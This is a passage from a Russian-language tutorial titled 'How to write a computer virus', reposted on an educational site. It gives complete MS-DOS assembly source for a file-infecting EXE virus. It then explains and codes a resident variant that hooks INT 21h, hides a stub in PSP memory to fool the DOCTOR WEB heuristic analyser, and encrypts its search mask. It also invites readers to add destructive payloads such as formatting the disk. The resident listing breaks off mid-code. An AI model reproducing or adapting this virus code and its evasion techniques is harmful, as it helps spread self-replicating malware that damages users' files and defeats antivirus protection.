Я:
Результат
Архив

МЕТА - Украина. Рейтинг сайтов Webalta Уровень доверия



Союз образовательных сайтов
Главная / Учебники / Учебники на русском языке / Компьютерные науки / Как написать компьютерный вирус


Компьютерные науки - Учебники на русском языке - Скачать бесплатно


пользуем параметры заголовка программы, сохранен-
ные ранее в ячейках " my_XX " .
При передаче управления на код вируса в регистр CS
было помещено такое значение : CS = NS0 + 10h +
+ Header [16h], и это значение нам известно - оно
сейчас находится в CS .С другой стороны, настоящая
точка входа EXE - программы имеет сегментный адрес
CS = NS0 + 10h + my_cs . Таким образом, достаточно
узнать, чему равна сумма : NS0 + 10h, и прибавить
к ней " my_cs " .Такая же ситуация возникает и при
восстановлении регистра SS, только здесь к NS0 +
+ 10h нужно прибавить " my_ss " .Проще всего вос-
становить регистр DS, поскольку при загрузке EXE -
файла соблюдается условие : ES = DS = NS0.Для ини-
циализации SP и IP можно просто записать в них чи-
сла,хранящиеся в переменных " my_sp " и " my_ip ",
не производя при этом каких - либо сложных расче-
тов .С учетом этих соображений можно записать :

mov ax,my_ip
mov old_ip,ax
mov ax,my_cs
mov old_cs,ax
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax ;Инициализируем
;регистр SP ...
mov ax,cs ;Найдем
sub ax,to_16h ;NS0 + 10h ...
add my_ss,ax ;Вычислим SS ...
mov ss,my_ss ;
add ax,old_cs ;Вычислим CS ...
mov old_cs,ax ;
mov ax,es ;Инициализируем
mov ds,ax ;регистр DS ...

jmp $ + 2 ;Сбросим очередь
;процессора
db 0eah ;И перейдем к
old_ip dw 0 ;исполнению
old_cs dw 0 ;программы ...

Команда перехода к исполнению программы записана в
виде машинного кода,чтобы при необходимости ее мо-
жно было модифицировать .
И еще - вы , вероятно, помните, что символами
" NS0 " мы обозначили начальный сегмент программы.


1.13 Область данных вируса

Приведем данные, которыми оперирует уже почти соз-
данный нами EXE - вирус :

;Собственная DTA
;вируса
new_dta db 128 dup (0)

;Маска для поис-
;ка файла - жер-
;твы
maska db '*.exe',0

;Буфер для хра-
;нения имени
;найденного
;файла
fn db 12 dup (' '),0

;Массив для хра-
;нения заголовка
header db 27 dup ( 0 )

descrypt dw 0 ;Ячейка для дес-
;криптора

to_02h dw 0 ;Эти ячейки ис-
to_04h dw 0 ;пользуются для
to_16h dw 0 ;хранения пара-
my_ip dw 0 ;метров заголо-
my_cs dw 0 ;вка заражаемой
my_16h dw 0 ;программы и
my_ss dw 0 ;той, из которой
my_sp dw 0 ;стартовал
old_ss dw 0 ;вирус
old_sp dw 0 ;
f_seek_low dw 0 ;В эти перемен-
f_seek_high dw 0 ;нные записывае-
;тся значение
;указателя

;Вирусный стек
new_stack dw 50 dup ( 0 )

last db 0 ;Сюда помещается
;последний байт
;заражаемого
;файла

db '7' ;Последний байт
;вирусного кода


1.14 Используемые процедуры

Осталось только привести тексты процедур, которыми
пользуется вирус, и работа почти закончена . Они
выглядят так :

setpointer proc ;Процедура уста-
mov ax,4200h ;навливает ука-
mov bx,descrypt ;затель в файле
int 21h ;на заданный
ret ;байт ...
setpointer endp

read proc ;Процедура чте-
mov ah,3fh ;ния из файла...
mov bx,descrypt
int 21h
ret
read endp

write proc ;Процедура за-
mov ah,40h ;писи в файл ...
mov bx,descrypt
int 21h
ret
write endp

mover proc ;Процедура умно-
mov cx,04h ;жения двойного
left: shl dx,1 ;слова CX : DX
shl ax,1 ;на 16 методом
adc dx,00h ;сдвига ...
loop left ;
ret ;
mover endp

Приведенные процедуры очень просты и довольно эф-
фективны . Процедура " mover " , как уже говори-
лось,взята из книги П .Абеля " Язык ассемблера для
IBM PC и программирования ", естественно,без раз-
решения автора .


1.15 Работа завершена

Только что мы разработали вирусную программу, за-
ражающую EXE - файлы.Последний штрих - напишем не-
сколько строк, почти стандартных для всех ассемб-
лерных программ :

;Длина вирусного
;кода в байтах
vir_len equ $-vir

prg ends
end vir


1.16 Полный текст нерезидентного EXE - вируса

Для лучшего понимания всего изложенного в этой
главе приведем полный текст написанной нами про-
граммы :

; ________________________________________________
;| |
;| Non - TSR EXE virus |
;| Especially for my readers ! |
;|________________________________________________|

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

vir: mov ax,cs ;AX = CS ...
db 2dh ;SUB AX,00h
sub_ds dw 0 ;
mov ds,ax ;
mov ss,ax ;

mov ah,1ah ;Переключим DTA
lea dx,new_dta ;на соответству-
;ющий массив в
int 21h ;области данных
;вируса ...

mov ax,old_ip ;Скопируем исхо-
mov my_ip,ax ;дные параметры
mov ax,old_cs ;заголовка зара-
mov my_cs,ax ;женной програм-
mov ax,to_16h ;мы в ячейки па-
mov my_16h,ax ;мяти " my_XX ",
mov ax,old_ss ;так как ячейки
mov my_ss,ax ;" old_XX ", в
mov ax,old_sp ;которых хранят-
mov my_sp,ax ;ся параметры,
;будут испорчены
;при заражении
;нового файла

find_first:mov ah,4eh ;Поиск первого
mov cx,00100110b ;файла :
lea dx,maska ;archive, system
int 21h ;hidden ...
jnc r_3
jmp restore_dta

find_next: mov ah,3eh ;Закроем непод-
mov bx,descrypt ;ходящий файл
int 21h
jnc r_2
jmp restore_dta

r_2: mov ah,4fh ;Поиск следующе-
int 21h ;го ...
jnc r_3
jmp restore_dta

r_3: mov cx,12 ;Очистим об-
lea si,fn ;ласть " fn "
kill_name: mov byte ptr [si],0
inc si
loop kill_name

xor si,si ;И перепишем
copy_name: mov al,byte ptr new_dta[si + 01eh]
cmp al,0 ;туда имя най-
je open_file ;денного файла
mov byte ptr fn[si],al
inc si
jmp copy_name

open_file: mov ax,3d02h ;Откроем файл
lea dx,fn ;для чтения и
int 21h ;записи ...
jnc found_size
jmp r_2

found_size:mov descrypt,ax ;Определим раз-
mov cx,word ptr [new_dta + 01ch]
mov dx,word ptr [new_dta + 01ah]
sub dx,1 ;мер файла и вы-
sbb cx,0 ;чтем из него
;единицу ...
call setpointer ;Установим ука-
;затель на пос-
;ледний символ

read_last: mov cx,1 ;Прочитаем
lea dx,last ;последний
call read ;символ ...
jnc compar
jmp close_file

compar: cmp last,'7' ;Это "семерка" ?
jne mmm ;Нет
to_next: jmp find_next ;Да ! Файл уже
;заражен, и надо
;искать другой

mmm: xor cx,cx ;Установим ука-
xor dx,dx ;затель на нача-
call setpointer ;ло файла ...

mov ah,3fh ;И считаем инте-
mov bx,descrypt ;ресующую нас
mov cx,27 ;часть заголовка
;в массив " hea-
;der " .Она как
lea dx,header ;раз занимает 27
int 21h ;байт...
jnc next_step ;
jmp restore_dta ;Ошибка чтения !

next_step: mov ax,word ptr header[14h]
mov old_ip,ax
mov ax,word ptr header[16h]
mov old_cs,ax
mov ax,word ptr header[0eh]
mov old_ss,ax
mov ax,word ptr header[10h]
mov old_sp,ax

mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h
jna good_size
jmp find_next
good_size: mov bp,ax
sub ax,word ptr header[08h]
mov to_16h,ax ;Это число запи-
;шется в Header
;[16h]
mov ax,bp
xor dx,dx
call mover
mov f_seek_low,ax
mov f_seek_high,dx
cmp dx,word ptr [new_dta + 01ch]
jl to_next
ja infect
cmp ax,word ptr [new_dta + 01ah]
jl to_next
infect: add ax,vir_len
adc dx,0
mov bx,512
div bx
cmp dx,0
je round
inc ax
round: mov to_04h,ax ;Это число запи-
;шется в Header
;[04h]

mov to_02h,dx
mov word ptr header[02h],dx
mov ax,to_04h
mov word ptr header[04h],ax
mov word ptr header[14h],0
mov ax,to_16h
mov word ptr header[16h],ax
mov word ptr header[0eh],ax
mov word ptr header[10h],offset ds:new_stack + 96
mov sub_ds,10h

xor dx,dx ;Устанавливаем
xor cx,cx ;указатель на
call setpointer ;начало файла
jc close_file ;

lea dx,header ;И записываем
mov cx,27 ;измененный за-
call write ;головок на диск
jc close_file

mov dx,f_seek_low ;Устанавливаем
mov cx,f_seek_high ;указатель на
call setpointer ;определенное
;ранее место в
;файле
jc close_file

lea dx,vir ;И записываем на
mov cx,vir_len ;диск вирусный
call write ;код

close_file:xor ax,ax ;Закроем зара-
mov ah,3eh ;женный файл
mov bx,descrypt ;
int 21h ;

restore_dta:
push ds ;DS -> в стек
mov ah,1ah ;Восстановим
mov dx,080h ;адрес DTA зара-
mov bp,es ;женной програм-
mov ds,bp ;мы с помощью
int 21h ;функции DOS 1Ah
pop ds ;DS <- из стека

mov ax,my_ip
mov old_ip,ax
mov ax,my_cs
mov old_cs,ax
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax ;Инициализируем
;регистр SP ...
mov ax,cs ;Найдем
sub ax,to_16h ;NS0 + 10h ...
add my_ss,ax ;Вычислим SS ...
mov ss,my_ss ;
add ax,old_cs ;Вычислим CS ...
mov old_cs,ax ;
mov ax,es ;Инициализируем
mov ds,ax ;регистр DS ...

jmp $ + 2 ;Сбросим очередь
;процессора
db 0eah ;И перейдем к
old_ip dw 0 ;исполнению
old_cs dw 0 ;программы ...

;Procedure area ...
;*************************************************

setpointer proc ;Процедура уста-
mov ax,4200h ;навливает ука-
mov bx,descrypt ;затель в файле
int 21h ;на заданный
ret ;байт ...
setpointer endp

read proc ;Процедура чте-
mov ah,3fh ;ния из файла...
mov bx,descrypt
int 21h
ret
read endp

write proc ;Процедура за-
mov ah,40h ;писи в файл ...
mov bx,descrypt
int 21h
ret
write endp

mover proc ;Процедура умно-
mov cx,04h ;жения двойного
left: shl dx,1 ;слова CX : DX
shl ax,1 ;на 16 методом
adc dx,00h ;сдвига ...
loop left ;
ret ;
mover endp

;Data area ...
;*************************************************

;Собственная DTA
;вируса
new_dta db 128 dup (0)

;Маска для поис-
;ка файла - жер-
;твы
maska db '*.exe',0

;Буфер для хра-
;нения имени
;найденного
;файла
fn db 12 dup (' '),0

;Массив для хра-
;нения заголовка
header db 27 dup ( 0 )

descrypt dw 0 ;Ячейка для дес-
;криптора

to_02h dw 0 ;Эти ячейки ис-
to_04h dw 0 ;пользуются для
to_16h dw 0 ;хранения пара-
my_ip dw 0 ;метров заголо-
my_cs dw 0 ;вка заражаемой
my_16h dw 0 ;программы и
my_ss dw 0 ;той, из которой
my_sp dw 0 ;стартовал
old_ss dw 0 ;вирус
old_sp dw 0 ;

f_seek_low dw 0 ;В эти перемен-
f_seek_high dw 0 ;нные записывае-
;тся значение
;указателя

;Вирусный стек
new_stack dw 50 dup ( 0 )

last db 0 ;Сюда помещается
;последний байт
;заражаемого
;файла

db '7' ;Последний байт
;вирусного кода

;Длина вирусного
;кода в байтах
vir_len equ $-vir

prg ends
end vir


1.17 Несколько слов об испытании вируса

В принципе,процесс испытания созданного вируса ни-
чем не отличается от ранее рассмотренного .Обращаю
внимание читателей только на одну деталь :
Отладчик AFD_RUS .COM корректно работает только с
неупакованными EXE - файлами.Если вы попытаетесь с
его помощью отладить EXE - программу, упакованную
какой - либо утилитой сжатия ( например, DIET, LZ_
EXE или PKLITE ), то из этого ничего не получится.
Конечно, программа не испортится,но результаты ра-
боты отладчика будут неверными .Для отладки упако-
ванных программ можно воспользоваться TURBO DEBUG-
GER фирмы BORLAND INTERNATIONAL, но еще лучше рас-
паковать такую программу и применить отладчик по-
проще.

*
Если в программе есть команды,изменяющие SS и SP,
то при " прохождении " ее AFD_RUS.COM результаты
работы отладчика могут быть совершенно неожидан-
ными. Это происходит потому, что указанный отлад-
чик использует стек исследуемой им программы.
**
Все только что отмеченные недостатки AFD_шки ни в
коей мере не дают сделать вывод,что этот отладчик
плохой. Hаоборот,он во многих отношениях значите-
льно превосходит даже TURBO DEBUGGER. Возможнос-
тей AFD_RUS вполне достаточно при отладке пример-
но 95 % программ.


ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА

2.1 Алгоритм работы резидентного
EXE - вируса

Для начала рассмотрим алгоритм работы резидентного
вируса, заражающего EXE - файлы .Он очень похож на
соответствующий алгоритм для COM - вируса, поэтому
подробно рассматриваться не будет :

Секция инициализации выполняет следующие действия:

1. Получает управление при запуске зараженной про-
граммы .

2. Проверяет, установлена ли в память резидентная
часть вируса .

3. Если резидентная часть не установлена,выполняю-
тся следующие действия :

a.) Отыскивается свободный блок памяти достато-
чного для размещения вируса размера .

б.) Код вируса копируется в найденный блок па-
мяти .

в.) В таблице векторов прерываний соответству-
ющие вектора заменяются точками входа в ви-
русные обработчики .

г.) Определяются значения CS, IP, SS и SP,необ-
ходимые для правильной работы программы ,
из которой стартовал вирус .

д.) Управление передается зараженной программе.
Для этого вирус использует команду безусло-
вного дальнего перехода или возврата из да-
льней процедуры.Адрес перехода задается вы-
численными CS и IP. После этого начинается
обычное выполнение программы .

В том случае, если резидентная часть вируса уже
находится в памяти, он просто выполняет действия
перечисленные в п.п. " Г " и " Д " .

Резидентная часть работает по такому " сценарию ":

1. Анализирует все вызовы системного прерывания
INT 21h с целью выявить переход оператора в новый
каталог или смену текущего диска .

2. Если обнаружится смена текущего диска или ката-
лога, резидентная часть должна :

а.) Сохранить исходное состояние вычислительной
системы .

б.) Найти на диске подходящий EXE - файл .

в.) Записать вирусный код в конец этого файла .

г.) Скорректировать заголовок файла ( см. п.1.4
гл. 1 ч. 2 ) .

д.) Восстановить исходное состояние вычислите-
льной системы и передать ей управление .

Как и в случае с COM - вирусом, заражение файлов
выполняет только резидентная часть .Вредные дейст-
вия можно " возложить " как на резидентную, так и
на транзитную часть ( на транзитную - проще, а на
резидентную - обычно сложнее . ) .


2.2 Защита от программ - антивирусов

Честно говоря, эта глава просто является обобщени-
ем всех предыдущих . Поэтому все основное уже рас-
сказано .Но есть несколько весьма интересных и за-
служивающих вашего внимания вопросов,о которых по-
чти не упоминается в литературе .Речь идет о пос-
троении вирусов, " невидимых " для антивирусных
программ.В самом деле,один - единственный "обыск"
с помощью программы DOCTOR WEB на диске или в па-
мяти может свести все наши усилия к нулю . Поэтому
самое время поговорить о способах скрытия вирусом
своего наличия в вычислительной системе .
Технику защиты вирусной программы от обнаружения
мы рассмотрим на примере всем известного антивиру-
са DOCTOR WEB.Именно эта программа является наибо-
лее удачной и используемой.
Как вы знаете, для обнаружения неизвестных вирусов
DOCTOR WEB использует так называемый эвристический
анализатор, моделирующий действия человека, желаю-
щего обнаружить новый вирус.
Все изложенное ниже базируется на следующем пред-
положении :эвристический анализатор, по существу,
представляет собой комбинацию пошагового отладчика
и программы, анализирующей результаты его работы .
Перейдем к делу . Если вы " заразите " ваш ком-
пьютер написанным ранее резидентным COM - вирусом,
а потом запустите DOCTOR WEB ( режим тестирования
памяти должен быть включен ), то вирус будет обна-
ружен как неизвестный резидентный .Кроме того, ан-
тивирусная программа определит адрес в памяти, по
которому находится вирусный код . Если вы просмот-
рите содержимое памяти по этому адресу,то увидите,
что DOCTOR WEB " ошибся ".А именно - по указанному
адресу расположен собственно не сам вирус,а только
его обработчик прерывания INT 21h.На остальные ви-
русные обработчики антивирус не обратил внимания .
Исходя из этого можно сделать такие выводы :

1.) Эвристический анализатор определяет, на какой
адрес указывает вектор прерывания INT 21h в
таблице векторов .

2.) Далее вступают в действие следующие соображе-
ния : Обработчик прерывания INT 21h почти ни-
когда не может находиться в самых младших (на-
пример,в области данных BIOS) или в самых ста-
рших (например, в последнем сегменте) адресах
основной памяти .Поэтому при обнаружении такой
ситуации эвристический анализатор считает, что
система заражена неизвестным вирусом,и в каче-
стве адреса, по которому расположен его код ,
выдает адрес обработчика INT 21h .

Как видим, все не так уже и сложно.Далее пользова-
тель должен решать сам,действительно ли вирус при-
сутствует в его компьютере. Отметим, что для реше-
ния этого вопроса нужно иметь довольно высокую
квалификацию, поэтому для подавляющего большинства
пользователей задача представляется неразрешимой.


2.3 Как реализовать защиту от
эвристического анализа

Очевидно, вирус не будет найден в памяти,если раз-
местить обработчик INT 21h в той ее части, в кото-
рую загружаются пользовательские программы .С дру-
гой стороны, наш вирус помещает свой код в самые
старшие адреса основной памяти . Единственным вы-
ходом из положения было бы написание обработчика ,
состоящего из двух частей. При этом "первая" часть
должна загружаться в область памяти,выделенную для
загрузки прикладных программ,а "вторую" - вместе с
остальной частью вируса - следует записать в стар-
шие адреса основной памяти .В случае возникновения
прерывания INT 21h управление будет передаваться
первой части, которая затем передаст его второй.
К сожалению, данный метод себя не оправдывает.DOC-
TOR WEB в процессе эвристического анализа просто
трассирует обработчик INT 21h до входа в его исхо-
дный ( системный ) код, одновременно контролируя
адрес обработчика, и при получении любых подозри-
тельных результатов выдает сообщение о наличии не-
известного вируса .Поэтому необходимо сделать так,
чтобы при трассировании "первой" части под управ-
лением отладчика вызывался системный обработчик, а
при "нормальном" трассировании - вирусный ( экспе-
рименты показывают,что DOCTOR WEB,вероятнее всего,
содержит встроенный отладчик) .Для реализации ука-
занного метода можно использовать особенность мик-
ропроцессора, состоящую в наличии очереди команд .
Однако этот путь по существу является тупиковым,
так как вирус, реализующий такой алгоритм,не будет
работать на процессорах PENTIUM из-за наличия в
последних так называемой системы прогнозирования
переходов. Мы же поступим по другому.Как вы знаете
все отладчики интенсивно используют прерывание 01h
( One Step ),обработчик которого останавливает ра-
боту микропроцессора после выполнения каждой ко-
манды. Поэтому естественно предположить, что для
проведения эвристического анализа DOCTOR WEB уста-
навливает собственный обработчик Int 01h,а значит,
заменяет адрес системного обработчика в таблице
векторов прерываний.На факт замены этого адреса мы
и будем ориентироваться. Экспериментальным путем
было установлено, что системный обработчик Int 01h
находится в памяти по такому адресу : 0070:XXXX.
Следовательно, достаточно проверить сегментный ад-
рес обработчика Int 01h, чтобы сказать, перехваче-
но-ли это прерывание какой-нибудь прикладной про-
граммой.
Следующая проблема,возникающая при построении про-
граммы обработки прерывания из двух частей, состо-
ит вот в чем: непонятно, куда именно следует поме-
стить " первую " часть,чтобы она не затиралась при
загрузке программ и их работе, и не была бы видна
с помощью, например, VC.COM или RELEASE.
Многочисленными экспериментами было установлено ,
что для размещения участка обработчика прерывания,
ответственного за " обман " эвристического анали-
затора, можно использовать байты с 38h по 5Ch,при-
надлежащие PSP первой загруженной в память програ-
ммы .Эти байты зарезервированы разработчиками опе-
рационной системы, вероятно,для будущих ее версий,
и их значения остаются постоянными в течение всего
сеанса работы компьютера .Кроме того, зарезервиро-
ванного пространства в PSP вполне хватит для раз-
мещения программы обработки прерывания .
Итак, можно предложить следующий алгоритм :

1.) Отыскивается PSP первой загруженной в память
программы .

2.) В байты 38h - 5Ch записывается код " промежу-
точного " обработчика прерывания INT 21h .Этот
код должен вызывать системный обработчик при
работе под управлением отладчика и вирусный в
противном случае .

* На самом деле можно использовать и другие об-
ласти PSP, расположенные после байта со смеще-
нием 5Ch ( примерно 32 байта - без всяких пос-
ледствий. ).

3.) В таблице векторов прерываний вектор INT 21h
заменяется на точку входа в промежуточный об-
работчик .

Вот, собственно, и все .


2.4 Реализуем предложенный алгоритм

Как мы договорились,сначала следует найти PSP пер-
вой загруженной в память программы .Это можно сде-
лать следующим образом :

find_psp: push es ;Найдем первый
xor di,di ;PSP в памяти
xor ax,ax

to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh ;Этот сегмент -
jae free_mem ;последний ?
cmp byte ptr es:[di],4dh
;Это - MCB -
;блок ?
jne to_new_seg ;Нет !
to_test: mov bx,ax ;Да !
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh
;Следующий MCB
;корректен ?
je restore_es ;Да !
cmp byte ptr es:[di],5ah
jne to_new_seg ;Нет !
restore_es:mov es,ax
cmp word ptr es:[di+1],0 ;MCB свободен ?
je to_new_seg ;Да !
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
;дует PSP ?
jne to_new_seg ;Нет - тогда он
;нас не интере-
;сует ...
mov first_psp,es ;Да - найдена
mov cx,es ;нужная нам
dec es_save ;область памяти
cmp es_save,cx ;А может, мы на-
;шли свой же
;PSP ?
jne add_05h ;Нет !
pop es
jmp fresh_input ;Да !
add_05h: add first_psp,05h

Напомним, что PSP располагается в памяти сразу
вслед за MCB - блоком,выделенным операционной сис-
темой для загрузки программы, а первым байтом PSP
должно быть число 0CDh, что и используется в при-
веденном фрагменте .
Дополнительно следует рассмотреть следующую ситуа-
цию : обычно первым PSP в памяти является PSP ко-
мандного процессора COMMAND.COM . Но при некоторых
конфигурациях операционой системы (например, при
использовании WINDOWS 95 в режиме эмуляции MS DOS)
это правило иногда не соблюдается .Может случиться
так, что первой в файле AUTOEXEC.BAT для загрузки
указана нерезидентная EXE - программа, зараженная
нашим вирусом.При старте этой программы вирус фак-
тически отыщет ее же PSP и запишет туда текст про-
межуточного обработчика INT 21h . Далее программа
нерезидентно завершится, после чего занимаемая ею
память будет использована другими программами, по-
этому наш промежуточный обработчик будет затерт ,
и компьютер обязательно повиснет . Чтобы этого не
произошло, вирус проверяет, какой именно PSP был
найден первым, и если имела место описанная выше
ситуация, отказывается от заражения памяти .
В остальном работа фрагмента ясна .


2.5 Пишем промежуточный обработчик

Теперь следует написать " промежуточный " обработ-
чик прерывания INT 21h,который должен вызывать си-
стемный или вирусный обработчики данного прерыва-
ния в зависимости от режима работы процессора .Эту
задачу можно решить, например, так :

to_bios: push ax ;Текст промежу-
;точного
push ds ;обработчика
;INT 21h ...
pushf
xor ax,ax
mov ds,ax
cmp word ptr ds:[0006h],0070h ;Int 01h пере-
;хвачено ?
jne cs:uuuuu ;JMP на систем-
;ный или вирус-
;ный обработчики
;INT 21h ...
popf
pop ds
pop ax
db 0eah ;На вирусный ...
our_21h_ip dw to_new_21h
our_21h_cs dw 00h
uuuuu: popf
pop ds
pop ax
db 0eah ;На системный...
sys_21h_ip dw 00h
sys_21h_cs dw 00h

code_len equ $ - to_bios ;Длина обработ-
;чика

Данный фрагмент написан настолько просто, что ни-
каких пояснений по поводу его работы не требуется.


2.6 Защита от обнаружения вируса в файле

Защитить вирус от обнаружения в файле намного про-
ще, чем в памяти.Достаточно только зашифровать ма-
ску для поиска EXE - программ ( *.exe ), и вирус
обнаружен не будет.Естественно, перед поиском фай-
ла - жертвы маска должна быть расшифрована,а в за-
раженном файле присутствовать в зашифрованном ви-
де.
Для решения этой задачи был предложен такой алго-
ритм: маска расшифровывается вирусной копией, на-
ходящейся в памяти, непосредственно перед поиском
EXE-файла,а при записи вирусного кода в файл снова
шифруется. Вряд-ли DOCTOR WEB станет устанавливать
резидентный вирус в память, а потом еще и прове-
рять, как он работает. А при простом просмотре или
даже прохождении зараженной программы отладчиком
можно увидеть только закодированную маску.


2.7 Несколько слов о вредных
действиях вирусной программы

Вирус, как правило, для того и пишется,чтобы кому-
то навредить или пошутить над пользователями .Поэ-
тому естественно было бы включить в него какие-ни-
будь действия,мешающие нормальной работе операто-
ров компьютеров .Конечно,здесь существует огромная
свобода : от тривиальной блокировки клавиатуры до
" осыпания " букв с экрана или форматирования вин-
честера . Многие вирусы вообще содержат серьезные
ошибки, из - за которых зараженная система может
перестать работать, поэтому что - нибудь более не-
приятное придумать непросто .
Поскольку книга носит учебный харатер, мы не будем
развивать " вредительскую " тему, а вместо этого
предоставим нашим читателям возможность творчески
подойти к задаче.Можете не огорчаться - встроить в
вирусную программу вредное действие на порядок
проще,чем создать эту программу.Учтите только, что
изготовление вирусов - дело очень неблагодарное, и
без должной конспирации способно принести самому
" писателю " массу неприятностей.Сами вирусы (осо-
бенно чужие) - довольно неприятная штука, хотя эта
тема очень интересна.


2.8 Полный текст резидентного EXE - вируса

Как я уже говорил, эта программа является просто
итогом всех предыдущих и фактически составлена из
их частей .Поэтому больше объяснять, вероятно, не-
чего .Последний штрих - приведем полный текст раз-
работанного нами резидентного EXE - вируса :

; _______________________________________________
;| |
;| EXE TSR virus |
;| Especially for my readers |
;|_______________________________________________|

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

vir: db 0ebh ;9090h - Для
;резидентной
db push_len ;работы .

pushf
call cs:rest_code ;Для надежности
;восстановим
;промежуточный
;обработчик
;INT 21h ...
cmp bx,1997h ;Это проверка
jne cs:not_our ;повторной за-
mov ah,0ffh ;грузки вируса в
popf ;память ?
iret ;
not_our:cmp cs:tg_infect - 100h,1 ;Активизировать-
;ся ?
je cs:vir_2 ;Да ...
popf
jmp dword ptr cs:old_28h - 100h ;Нет - вызовем
;старый INT 28h,
;чтобы не
;"топить" другие
;резиденты ...

vir_2: db 9ah
old_28h dw 0
old_28h_2 dw 0
pushf ;Сохраним в сте-
;ке регистры
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
;жению файлов...
push_len equ $-vir - 2

mov ax,cs ;Исправим DS для
;работы
db 2dh ;в зараженном
;EXE - файле .
sub_ds dw 0
mov ds,ax
mov ax,ds
mov es_save,es ;Сохраним значе-
;ние ES ,бывшее
;при загрузке
;программы ...
push es

mov ax,old_ip ;Восстановим ис-
;ходные пара-
mov my_ip,ax ;метры заголовка
;зараженного
mov ax,old_cs ;файла ...
mov my_cs,ax
mov ax,to_16h
mov my_16h,ax
mov ax,old_ss
mov my_ss,ax
mov ax,old_sp
mov my_sp,ax
;Проверим ,есть
;вирус в па-
mov bx,1997h ;мяти ,или еще
int 28h ;нет ...

cmp ah,0ffh
jne inst ;Нет - устанав-




Назад


Новые поступления

Украинский Зеленый Портал Рефератик создан с целью поуляризации украинской культуры и облегчения поиска учебных материалов для украинских школьников, а также студентов и аспирантов украинских ВУЗов. Все материалы, опубликованные на сайте взяты из открытых источников. Однако, следует помнить, что тексты, опубликованных работ в первую очередь принадлежат их авторам. Используя материалы, размещенные на сайте, пожалуйста, давайте ссылку на название публикации и ее автора.

281311062 © il.lusion,2007г.
Карта сайта